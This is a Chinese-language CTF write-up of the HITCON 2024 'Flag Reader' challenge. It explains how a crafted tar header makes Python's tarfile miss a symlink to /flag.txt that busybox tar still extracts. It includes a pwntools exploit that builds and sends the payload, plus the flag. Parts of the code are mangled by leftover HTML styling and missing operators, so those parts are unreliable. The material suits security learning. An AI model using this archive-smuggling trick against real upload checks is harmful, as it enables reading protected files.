HITCON CTF 2024 Writeup

Chumy | Jul 16, 2024 min read

hitconctf-2024-writeup

這場與 星爆吉娃娃BambooFox、以及我們 B33f 50UP 所組成的 星爆牛炒竹狐 隊伍一起打到了世界第 24 名、台灣排名第一名,並且打進今年 HITCON CTF 決賽。

這邊就來寫一下我解的題目 writeup。

戰績

image

image

image

image

Flag Reader

image

目標是上傳一個帶有 flag.txt -> /flag.txt 的 symlink,但是 server 的 python 會用 tarfile 做一次 tarinfo 的檢查,檢查一定要是 file 且名字不能帶 flag.txt,檢查過才會用 subprocess 跑 busybox tar 去解檔。

首先我先去看tarfile 定義為 isfile 的檔案類型

REGULAR_TYPES = (REGTYPE, AREGTYPE,
                 CONTTYPE, GNUTYPE_SPARSE)

發現 typebyte 要設成 \007S isfile 結果才會是 true。

最一開始我注意到 S 這個東西,發現是 GNU 特有的 type 但是不知道為何我用自己 linux 測以後,發現 tarfile 會認 Sparse file 但是 tar 不知道為何還是按照一般的檔案去解,這邊可能有待研究。

反正我先建了一個 tar 包了兩個檔案,一個是一個動過手腳的空 Sparse file 一個就 flag 的 symlink,這邊的製作方式是。

touch 1
ln -s /flag.txt flag.txt
tar cvf 1 flag.txt

接著用 Hex editer 改,把 header offset 482 的 isextended 設成 true (非 \0)這樣他就會多讀一個 Block 作為 Sparse 的 extend header,那那個 Block 原本是放 flag.txt 的 header 就會被蓋掉,這樣 tarfile 就只會認出個檔案而已,但是因為上面講的 tar 沒認 Sparse file 所以她解開就會把兩個檔案都解開,應該就能繞過檢查。

但是發現失敗了,自己架一次以後發現原因出在 busybox tar 的這個位置可以發現他沒有實作 Sparse file,然後遇到沒有實作的 type 就會直接 Crash。

因此我開始找別的突破點,後來發現。

我們可以去比對 python tarfile 跟 busybox tar 的 source code 裡面讀取數字的地方。 tarfile busybox tar

可以發現兩邊的行為有很多不一致,其中有一個地方是 busybox tar 那邊取數字的取法是把該 field 範圍的字串用 strtoull 以 base 8 轉成 unsigned long long,而 strtoull 會從 low byte 開始讀數字,讀到第一個非數字為止,而接下來會做判斷。

v = strtoull(str, &end, 8);
/* std: "Each numeric field is terminated by one or more
 * <space> or NUL characters". We must support ' '! */
if (*end != '\0' && *end != ' ') {

可以看到他會檢查非數字如果是 ‘\0’ 或 ' ' 就不會走進 if,而裡面是處理大數字時改為用 base 256 計算的方式。也就是說如果我們把數字的 field 改成 0 1111111 這類的,他會得到 0

接著看一下 tarfilenti

def nts(s, encoding, errors):
    """Convert a null-terminated bytes object to a string.
    """
    p = s.find(b"\0")
    if p != -1:
        s = s[:p]
    return s.decode(encoding, errors)

def nti(s): # ………………… else: try: s = nts(s, "ascii", "strict") n = int(s.strip() or "0", 8) except ValueError: raise InvalidHeaderError("invalid header") # …………………

可以看到他會先找到第一個 ‘\0’ 以後將前面的 byte 做 decode 以後用 int 以 base 8 轉成整數,那如果按照上面用 0 1111111 會發生甚麼事情。

>>> int('0 11111', 8)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 8: '0 11111'

可以發現他會直接 ValueErrorValueError 會 raise InvalidHeaderError

接著去看 TarFile.next

tarinfo = None
while True:
    try:
        tarinfo = self.tarinfo.fromtarfile(self)
    except EOFHeaderError as e:
        if self.ignore_zeros:
            self._dbg(2, "0x%X: %s" % (self.offset, e))
            self.offset += BLOCKSIZE
            continue
    except InvalidHeaderError as e:
        if self.ignore_zeros:
            self._dbg(2, "0x%X: %s" % (self.offset, e))
            self.offset += BLOCKSIZE
            continue
        elif self.offset == 0:
            raise ReadError(str(e)) from None
#...............................
    break

if tarinfo is not None: self.members.append(tarinfo) else: self._loaded = True

return tarinfo

可以發現如果 InvalidHeaderErrorself.offset != 0 也就是不是第一個 block 的時候就會停止讀取。所以如果我在第二個檔案的 tar header 裡隨便找個數字並塞個 space 的話,tarfile 就會只認出一個檔案,這時如果我把 flag.txt 的 symlink 放在第二個檔案以後,tarfile 就不會檢查到,同時又可以被 busybox 的 tar 解出來。這樣就能繞過檢查了。

exploit:

from pwn import *
import subprocess
from pathlib import Path
from tempfile import TemporaryDirectory
import base64
import sys

BLOCK_SIZE = 512

def calculate_tar_checksum(header): if len(header) != BLOCK_SIZE: raise ValueError(f"Header must be exactly {BLOCK_SIZE} bytes.")

checksum <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>

<span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(BLOCK_SIZE):
    <span style="color:#66d9ef">if</span> <span style="color:#ae81ff">148</span> <span style="color:#f92672">&lt;=</span> i <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">156</span>:
        checksum <span style="color:#f92672">+=</span> <span style="color:#ae81ff">32</span>
    <span style="color:#66d9ef">else</span>:
        checksum <span style="color:#f92672">+=</span> header[i]

<span style="color:#66d9ef">return</span> checksum

with TemporaryDirectory() as tmpdir: subprocess.run( ["touch", '1'], check=True, cwd=tmpdir, ) subprocess.run( ["touch", '2'], check=True, cwd=tmpdir, ) subprocess.run( ["ln", "-s", "/flag.txt", 'flag.txt'], check=True, cwd=tmpdir, ) subprocess.run( ["tar", "cvf", "payload.tar", '1', '2', 'flag.txt'], check=True, cwd=tmpdir, ) payload = Path(tmpdir) / "payload.tar" with open(payload, "rb") as f: payloadbytes = f.read()

payloadbytes = bytearray(payloadbytes) payloadbytes[1 BLOCK_SIZE + 0x7D] = ord(' ') payloadbytes = bytes(payloadbytes) header_block = payloadbytes[1 BLOCK_SIZE:2 BLOCK_SIZE] checksum = oct(calculate_tar_checksum(header_block))[2:].zfill(6) payloadbytes = bytearray(payloadbytes) for i in range(len(checksum)): payloadbytes[1 BLOCK_SIZE + 0x94 + i] = ord(checksum[i]) payloadbytes = bytes(payloadbytes)

payloadbase64 = base64.b64encode(payloadbytes) conn = remote(sys.argv[1], int(sys.argv[2])) conn.sendline(payloadbase64) print(conn.recvuntil(b'\n\n'))

image

hitcon{is_it_still_possible_if_I_banned_the_presense_of_flag.txt_in_the_binary_data_of_the_tar_file?}

其他隊友的 writeup

Hackmd